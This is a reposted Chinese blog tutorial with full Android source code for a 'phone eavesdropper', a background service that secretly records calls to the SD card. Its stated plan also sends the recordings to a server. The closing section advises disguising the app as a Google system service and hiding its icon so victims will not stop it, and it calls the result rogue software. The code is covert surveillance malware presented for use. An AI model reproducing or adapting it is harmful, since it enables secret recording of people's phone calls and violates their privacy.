android 之電話竊聽器

來源:互聯網
上載者:User

標籤:android   電話竊聽   service   

其實實現一個簡單的電話的竊聽是一件非常容易的事情,在美國大片裡面不是經常有駭客盜取別人的通話內容麼,想想就覺得小激動,今天呢,我也實現了一個小小的電話竊聽器,分享給大家,希望給大家樂樂。


實現電話竊聽器步驟:(只限於Android手機上)
1.擷取電話的服務

2.開啟一個電話的監聽

3.在監聽的過程中,開啟一個錄音

4.將錄音發送的到伺服器端

5.在由伺服器端發送給自己 ok,搞定


樣本源碼:

1.許可權問題,電話語音,錄音等

<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 麥克風許可權 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 讀寫sd卡許可權 -->    <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 讀取電話 --><!-- 自訂電話語音 -->        <service android:name="com.zengtao.service.MyPhoneStausService" >        </service>


2.電話語音

package com.zengtao.service;import java.io.IOException;import android.annotation.SuppressLint;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.widget.Toast;/** * my tephone service *  * @author Administrator zengtao *  */public class MyPhoneStausService extends Service {@Overridepublic IBinder onBind(Intent intent) {Toast.makeText(getBaseContext(), "start service", Toast.LENGTH_SHORT).show();return null;}@Overridepublic void onCreate() {super.onCreate();// get telephone serviceTelephonyManager telephony = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);// set telephone listener statustelephony.listen(new MyPhoneStausListener(),PhoneStateListener.LISTEN_CALL_STATE);}/** * telephone status listener *  * @author Administrator zengtao *  */private class MyPhoneStausListener extends PhoneStateListener {private MediaRecorder recorder;/** * the telephone status is changed */@SuppressLint("SdCardPath")@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_IDLE: // 空閑狀態,沒有響鈴,沒有通話if (recorder != null) {recorder.start();recorder.reset();recorder.release();recorder = null;}break;case TelephonyManager.CALL_STATE_RINGING: // 響鈴的時候// 建立音頻recorder = new MediaRecorder();// 設定音頻來源---麥克風recorder.setAudioSource(MediaRecorder.AudioSource.MIC);recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile("/sdcard/"+ System.currentTimeMillis() + ".3gp");recorder.prepare();break;case TelephonyManager.CALL_STATE_OFFHOOK: // 通話中if (recorder != null) {recorder.start();}break;default:break;}} catch (IllegalStateException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}}@Overridepublic void onDestroy() {super.onDestroy();Toast.makeText(getBaseContext(), "service stop", Toast.LENGTH_SHORT).show();}}

3.Mainactivity

package com.zengtao.demo;import com.zengtao.service.MyPhoneStausService;import android.content.Intent;import android.os.Bundle;import android.support.v7.app.ActionBarActivity;public class MainActivity extends ActionBarActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Intent intent = new Intent(this, MyPhoneStausService.class);startService(intent);}}


4.總結

以上便完成了一個簡單的電話竊聽器,當然你可以改變一些東西,比如:這個demo的名字改為:Goole的關鍵服務,activity的視圖不讓它在手機案頭顯示出來,這些弄好了,不明白的人,誰敢把這個服務關閉掉,哪怕是熟悉的程式編程者,一看這個也感覺不能關閉吧,是不是很賤,說句難聽的,就是流氓軟體,哈哈,當然這個服務開啟之後,就算把activity關閉,在後台也是一樣啟動並執行,你不手動的去關閉它,它會一直運行,當然也可以用代碼實現的方式關閉服務。

android 之電話竊聽器

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.